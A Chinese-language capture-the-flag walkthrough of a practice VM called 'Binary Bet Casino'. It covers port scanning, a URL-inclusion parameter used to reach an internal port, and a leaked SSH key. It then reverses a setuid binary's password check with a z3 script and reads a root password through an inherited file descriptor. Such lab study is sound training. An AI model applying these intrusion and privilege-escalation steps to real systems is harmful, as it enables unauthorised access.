难度:Medium

kali:192.168.56.104

靶机:192.168.56.169

五一放假,家里一堆事,也是一个靶机没打,放假前下的好几个靶机也是甩屁股后面了,今天开学第一天,打个靶机康复一下。边打边记录。

端口扫描

┌──(root㉿kali2)-[~/Desktop]
└─# nmap 192.168.56.169 -sV -A -p-
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-05-06 20:56 CST
Nmap scan report for 192.168.56.169
Host is up (0.00086s latency).
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 9.2p1 Debian 2 (protocol 2.0)
| ssh-hostkey: 
|   256 3b:20:d0:ba:e2:7a:8a:01:8a:35:3b:52:08:b0:c6:a8 (ECDSA)
|_  256 74:76:0a:61:d4:2c:9b:45:36:00:4d:c8:d8:be:0b:89 (ED25519)
80/tcp open  http    Apache httpd 2.4.57 ((Debian))
| http-cookie-flags: 
|   /: 
|     PHPSESSID: 
|_      httponly flag not set
|_http-title: Binary Bet Casino
|_http-server-header: Apache/2.4.57 (Debian)
MAC Address: 08:00:27:E3:4E:FC (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.8
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE
HOP RTT     ADDRESS
1   0.86 ms 192.168.56.169

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 10.73 seconds

开启了22 80两个端口 80端apache服务,直接去web看吧。

web信息搜集

OpIsDU.png
是一个简单的登录界面,界面没有太多功能点,一个登录一个注册。
先去注册一手,当然注册的时候要用抓包看
OpIV6Y.png
没什么有用的信息,但是看这个界面我又想到admin这个账号,用admin注册发现用户已存在,那就先尝试爆破一下admin的密码
OpI9Yc.png
爆了一下没什么结果,大概率没有弱口令,sql注入也试了一下没有什么结果,这里就不贴图了,直接登录。
OpIlpq.png
登录上去好像是一些小游戏


WIN 10.000$ => WIN A TEDDY BEAR


Intructions

  • CUPS
    The player tries to guess which of three cups hides a small ball. The cups are shuffled, and the player must select the correct one to win. The player wins or losess the same amount he bets.
  • GUN
    The player presses the “Shoot” button. There is a 1/6 chance of losing. In that case, the player’s money is multiplied by 0.15. Otherwise, the player’s money is multiplied by 1.5.
  • Dice
    The player places a bet on whether the value of the sum of two dice will be less than, equal to or greater than 7.
    ||====================================================================||
    ||//$\///////////////////////////////$\||
    ||(100)==================| FEDERAL RESERVE NOTE |================(100)||
    ||\$// ~ ‘——========——–’ \$//||
    ||<< / /$\ // ____ \ \ >>||
    ||>>| 12 //L\ // ///..) \ L38036133B 12 |<<||
    ||<<| \ // || <|| >\ || |>>||
    ||>>| $/ || $$ –/ || One Hundred |<<||
    ||<<| L38036133B *\ |_/ //* series |>>||
    ||>>| 12 \/____// 1989 |<<||
    ||<<\ Treasurer ______/Franklin________ Secretary 12 />>||
    ||//$\ |UNITED STATES OF AMERICA| /$\||
    ||(100)=================== ONE HUNDRED DOLLARS =================(100)||
    ||\$///////////////////////////////\$//||
    ||====================================================================||

OpI8SG.png
就玩小游戏呗,也不知道要多少钱才有东西
OpIXw1.png
玩杯子梭哈赚到10000以上也没给东西
OpIInI.png
在一次梭哈失败中,给了一个特殊的url
http://192.168.56.169/casino/explainmepls.php?learnabout=en.wikipedia.org/wiki/Shell_game
尝试LFI
OpI3DD.png
成功包含,但是除了这个界面其他文件都包含失败,在我一番苦思冥想之后, 突发奇想,想尝试一下fuzz一下内部开启的端口
OpIC8F.png
除了80外之后还有一个6969端口
Op3Mk6.png
给了一个todo清单不过也没什么用,尝试从6969端口进行目录扫描
懒得有ffuf了,直接用bp爆吧
Op3W1K.png
爆出一个目录codebreakers
Op3bHa.png
源码泄露了一个地址shimmer_rsa
Op3k8S.png
Op3zxN.png
也是拿到了私钥

getshell

用shimmer用户登录ssh

┌──(root㉿kali2)-[~/Desktop]
└─# ssh -i a.txt shimmer@192.168.56.169
The authenticity of host '192.168.56.169 (192.168.56.169)' can't be established.
ED25519 key fingerprint is SHA256:3hguhY7J5te4KPihLZxYjfxLj8pyQOa7qtu0XjMl3DY.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '192.168.56.169' (ED25519) to the list of known hosts.
Debian GNU/Linux 12
Welcome to Binary Bet Casino
--------------------------------
Linux casino 6.1.0-9-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.27-1 (2023-05-08) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Wed Jun 14 17:24:28 2023 from 192.168.1.71
shimmer@casino:~$ 
shimmer@casino:~$ ls -al
total 48
drwx------ 3 shimmer shimmer  4096 jun 14  2023 .
drwxr-xr-x 4 root    root     4096 jun 14  2023 ..
lrwxrwxrwx 1 shimmer shimmer     9 jun 14  2023 .bash_history -> /dev/null
-rw-r--r-- 1 shimmer shimmer   220 jun 14  2023 .bash_logout
-rw-r--r-- 1 shimmer shimmer  3526 jun 14  2023 .bashrc
-rwsr-xr-x 1 root    root    16432 jun 14  2023 pass
-rw-r--r-- 1 shimmer shimmer   807 jun 14  2023 .profile
drwx------ 2 shimmer shimmer  4096 jun 14  2023 .ssh
-rw-r--r-- 1 root    root       17 jun 14  2023 user.txt

shimmer目录下有user flag还有一个鲜艳的红色pass 所属root

shimmer@casino:~$ file pass
pass: setuid ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=69534d98e628cad52c35ba899c71650dc0e48bdf, for GNU/Linux 3.2.0, not stripped

是一个x86可执行文件
看看有没有泄露密码

shimmer@casino:~$ strings pass
/lib64/ld-linux-x86-64.so.2
mgUa
fgets
stdin
puts
setuid
strlen
execvp
open
__libc_start_main
__cxa_finalize
printf
getuid
strcmp
libc.so.6
GLIBC_2.2.5
GLIBC_2.34
_ITM_deregisterTMCloneTable
__gmon_start__
_ITM_registerTMCloneTable
PTE1
u+UH
Correct pass
Incorrect pass
Passwd: 
/opt/root.pass
Second Passwd: 
ultrasecretpassword
/bin/sh
bye.
;*3$"
GCC: (Debian 12.2.0-14) 12.2.0
Scrt1.o
__abi_tag
crtstuff.c
deregister_tm_clones
__do_global_dtors_aux
completed.0
__do_global_dtors_aux_fini_array_entry
frame_dummy
__frame_dummy_init_array_entry
pass.c
__FRAME_END__
_DYNAMIC
__GNU_EH_FRAME_HDR
_GLOBAL_OFFSET_TABLE_
__libc_start_main@GLIBC_2.34
_ITM_deregisterTMCloneTable
puts@GLIBC_2.2.5
stdin@GLIBC_2.2.5
_edata
_fini
strlen@GLIBC_2.2.5
getuid@GLIBC_2.2.5
printf@GLIBC_2.2.5
fgets@GLIBC_2.2.5
__data_start
strcmp@GLIBC_2.2.5
__gmon_start__
__dso_handle
_IO_stdin_used
_end
__bss_start
main
open@GLIBC_2.2.5
execvp@GLIBC_2.2.5
__TMC_END__
_ITM_registerTMCloneTable
setuid@GLIBC_2.2.5
checkPasswd
__cxa_finalize@GLIBC_2.2.5
_init
.symtab
.strtab
.shstrtab
.interp
.note.gnu.property
.note.gnu.build-id
.note.ABI-tag
.gnu.hash
.dynsym
.dynstr
.gnu.version
.gnu.version_r
.rela.dyn
.rela.plt
.init
.plt.got
.text
.fini
.rodata
.eh_frame_hdr
.eh_frame
.init_array
.fini_array
.dynamic
.got.plt
.data
.bss
.comment

没泄露 可惜,不过可以看出是读取/opt下面的root.pass

shimmer@casino:/opt$ ls -al
total 16
drwxr-xr-x  3 root     root     4096 jun 14  2023 .
drwxr-xr-x 18 root     root     4096 jun 13  2023 ..
-rw-------  1 root     root       15 jun 14  2023 root.pass
drwxr-xr-x  4 www-data www-data 4096 jun 14  2023 todo-list
-rw-r--r--  1 root     root        0 jun 14  2023 user.pass
shimmer@casino:/opt$ cat user.pass 
shimmer@casino:/opt$ cat root.pass 
cat: root.pass: Permiso denegado

无权查看,只好丢尽ida分析了
Op3FpC.png

int __cdecl main(int argc, const char **argv, const char **envp)
{
  __uid_t v3; // eax
  int v5; // [rsp+Ch] [rbp-F4h]
  char s1[112]; // [rsp+10h] [rbp-F0h] BYREF
  char *argva[2]; // [rsp+80h] [rbp-80h] BYREF
  char s[108]; // [rsp+90h] [rbp-70h] BYREF
  int v9; // [rsp+FCh] [rbp-4h]

  HIBYTE(v5) = HIBYTE(argc);
  printf("Passwd: ");
  fgets(s, 100, stdin);
  if ( s[strlen(s) - 1] == 10 )
    s[strlen(s) - 1] = 0;
  if ( (unsigned int)checkPasswd(s) != 1 )
    return 0;
  v9 = open("/opt/root.pass", 0);
  v3 = getuid();
  setuid(v3);
  printf("Second Passwd: ");
  fgets(s1, 100, stdin);
  if ( s1[strlen(s1) - 1] == 10 )
    s1[strlen(s1) - 1] = 0;
  if ( !strcmp(s1, "ultrasecretpassword") )
  {
    argva[0] = "sh";
    argva[1] = 0LL;
    execvp("/bin/sh", argva);
  }
  else
  {
    puts("bye.");
  }
  return 0;
}

先是用checkPasswd检测输入的第一个密码,如果满足打开/opt/root.pass,setuid为0,然后输入第二个密码,如果与ultrasecretpassword相等,执行/bin/sh sh拿到root的shell,否则bye结束
那先看checkPasswd

__int64 __fastcall checkPasswd(const char *a1)
{
  if ( strlen(a1) == 26 )
  {
    if ( *a1 - a1[20] == -10 )
    {
      if ( a1[1] + a1[6] == 208 )
      {
        if ( a1[2] - a1[4] == 10 )
        {
          if ( a1[3] - a1[14] == -2 )
          {
            if ( a1[4] * a1[25] == 10100 )
            {
              if ( a1[5] + a1[17] == 219 )
              {
                if ( a1[6] - a1[10] == -11 )
                {
                  if ( a1[7] - a1[20] == -10 )
                  {
                    if ( a1[8] * a1[17] == 11845 )
                    {
                      if ( a1[9] - a1[18] == -7 )
                      {
                        if ( a1[10] - a1[24] == 1 )
                        {
                          if ( a1[11] * a1[4] == 9797 )
                          {
                            if ( a1[12] - a1[3] == 3 )
                            {
                              if ( a1[13] * a1[11] == 11252 )
                              {
                                if ( a1[14] - a1[13] == -2 )
                                {
                                  if ( a1[15] == a1[23] )
                                  {
                                    if ( a1[16] - a1[8] == -5 )
                                    {
                                      if ( a1[17] * a1[7] == 10815 )
                                      {
                                        if ( a1[18] - a1[14] == -2 )
                                        {
                                          if ( a1[19] - *a1 == -8 )
                                          {
                                            if ( a1[20] - a1[23] == 4 )
                                            {
                                              if ( a1[21] + a1[7] == 220 )
                                              {
                                                if ( a1[22] - a1[1] == 15 )
                                                {
                                                  if ( a1[23] == a1[15] )
                                                  {
                                                    if ( a1[24] * a1[2] == 12654 )
                                                    {
                                                      if ( a1[25] - a1[12] == -15 )
                                                      {
                                                        puts("Correct pass");
                                                        return 1LL;
                                                      }
                                                      else
                                                      {
                                                        return 0LL;
                                                      }
                                                    }
                                                    else
                                                    {
                                                      return 0LL;
                                                    }
                                                  }
                                                  else
                                                  {
                                                    return 0LL;
                                                  }
                                                }
                                                else
                                                {
                                                  return 0LL;
                                                }
                                              }
                                              else
                                              {
                                                return 0LL;
                                              }
                                            }
                                            else
                                            {
                                              return 0LL;
                                            }
                                          }
                                          else
                                          {
                                            return 0LL;
                                          }
                                        }
                                        else
                                        {
                                          return 0LL;
                                        }
                                      }
                                      else
                                      {
                                        return 0LL;
                                      }
                                    }
                                    else
                                    {
                                      return 0LL;
                                    }
                                  }
                                  else
                                  {
                                    return 0LL;
                                  }
                                }
                                else
                                {
                                  return 0LL;
                                }
                              }
                              else
                              {
                                return 0LL;
                              }
                            }
                            else
                            {
                              return 0LL;
                            }
                          }
                          else
                          {
                            return 0LL;
                          }
                        }
                        else
                        {
                          return 0LL;
                        }
                      }
                      else
                      {
                        return 0LL;
                      }
                    }
                    else
                    {
                      return 0LL;
                    }
                  }
                  else
                  {
                    return 0LL;
                  }
                }
                else
                {
                  return 0LL;
                }
              }
              else
              {
                return 0LL;
              }
            }
            else
            {
              return 0LL;
            }
          }
          else
          {
            return 0LL;
          }
        }
        else
        {
          return 0LL;
        }
      }
      else
      {
        return 0LL;
      }
    }
    else
    {
      return 0LL;
    }
  }
  else
  {
    puts("Incorrect pass");
    return 0LL;
  }
}

果然考的是re,用z3解

from z3 import *

def check_passwd():
    a1 = [Int('a1[%d]' % i) for i in range(26)]
    constraints = [
     
        len(a1) == 26,
        a1[0] - a1[20] == -10,
        a1[1] + a1[6] == 208,
        a1[2] - a1[4] == 10,
        a1[3] - a1[14] == -2,
        a1[4] * a1[25] == 10100,
        a1[5] + a1[17] == 219,
        a1[6] - a1[10] == -11,
        a1[7] - a1[20] == -10,
        a1[8] * a1[17] == 11845,
        a1[9] - a1[18] == -7,
        a1[10] - a1[24] == 1,
        a1[11] * a1[4] == 9797,
        a1[12] - a1[3] == 3,
        a1[13] * a1[11] == 11252,
        a1[14] - a1[13] == -2,
        a1[15] == a1[23],
        a1[16] - a1[8] == -5,
        a1[17] * a1[7] == 10815,
        a1[18] - a1[14] == -2,
        a1[19] - a1[0] == -8,
        a1[20] - a1[23] == 4,
        a1[21] + a1[7] == 220,
        a1[22] - a1[1] == 15,
        a1[23] == a1[15],
        a1[24] * a1[2] == 12654,
        a1[25] - a1[12] == -15
    ]
    solver = Solver()
    solver.add(constraints)
    if solver.check() == sat:
     
        model = solver.model()
        password = "".join([chr(model[a1[i]].as_long()) for i in range(26)])
        print("Correct pass: ", password)
    else:
        print("Incorrect pass")

check_passwd()

解出来ihopethisisastrongpassword,这就拿到第一个密码了,第二个密码又是已知

shimmer@casino:~$ ./pass
Passwd: ihopethisisastrongpassword                                                                                                                                                                                                                                                                                          
Correct pass                                                                                                                                                                                                                                                                                                                
Second Passwd: ultrasecretpassword                                                                                                                                                                                                                                                                                          
$ id                                                                                                                                                                                                                                                                                                                        
uid=1001(shimmer) gid=1001(shimmer) grupos=1001(shimmer),100(users) 

holyshit,为什么是shimmer的权限……
这里有点懵逼,看了HGBE师傅的wp,然后又看了群主的wp,原来是因为open没有关闭

$ lsof /opt/root.pass
COMMAND  PID    USER   FD   TYPE DEVICE SIZE/OFF   NODE NAME
sh      1227 shimmer    3r   REG    8,1       15 522246 /opt/root.pass
$ cat /proc/1227/fd/3
cat: /proc/1227/fd/3: Permiso denegado
$ 
$ cd /proc/1227/fd
$ ls -al
total 0
dr-x------ 2 shimmer shimmer  0 may  6 16:23 .
dr-xr-xr-x 9 shimmer shimmer  0 may  6 16:23 ..
lrwx------ 1 shimmer shimmer 64 may  6 16:23 0 -> /dev/pts/0
lrwx------ 1 shimmer shimmer 64 may  6 16:23 1 -> /dev/pts/0
lrwx------ 1 shimmer shimmer 64 may  6 16:23 10 -> /dev/tty
lrwx------ 1 shimmer shimmer 64 may  6 16:23 2 -> /dev/pts/0
lr-x------ 1 shimmer shimmer 64 may  6 16:23 3 -> /opt/root.pass

果然,当前pid还在打开这个文件,open的时候只能读一次
然后把他从管道里取出来,顺便测试了一下果然只能读一次

$ ls -al
total 0
dr-x------ 2 shimmer shimmer  0 may  6 16:23 .
dr-xr-xr-x 9 shimmer shimmer  0 may  6 16:23 ..
lrwx------ 1 shimmer shimmer 64 may  6 16:23 0 -> /dev/pts/0
lrwx------ 1 shimmer shimmer 64 may  6 16:23 1 -> /dev/pts/0
lrwx------ 1 shimmer shimmer 64 may  6 16:23 10 -> /dev/tty
lrwx------ 1 shimmer shimmer 64 may  6 16:23 2 -> /dev/pts/0
lr-x------ 1 shimmer shimmer 64 may  6 16:23 3 -> /opt/root.pass
$ cat <&3
masteradmin420
$ cat <&3
$ 

靶机难度还行,就最后这个open不懂,也是学到了东西。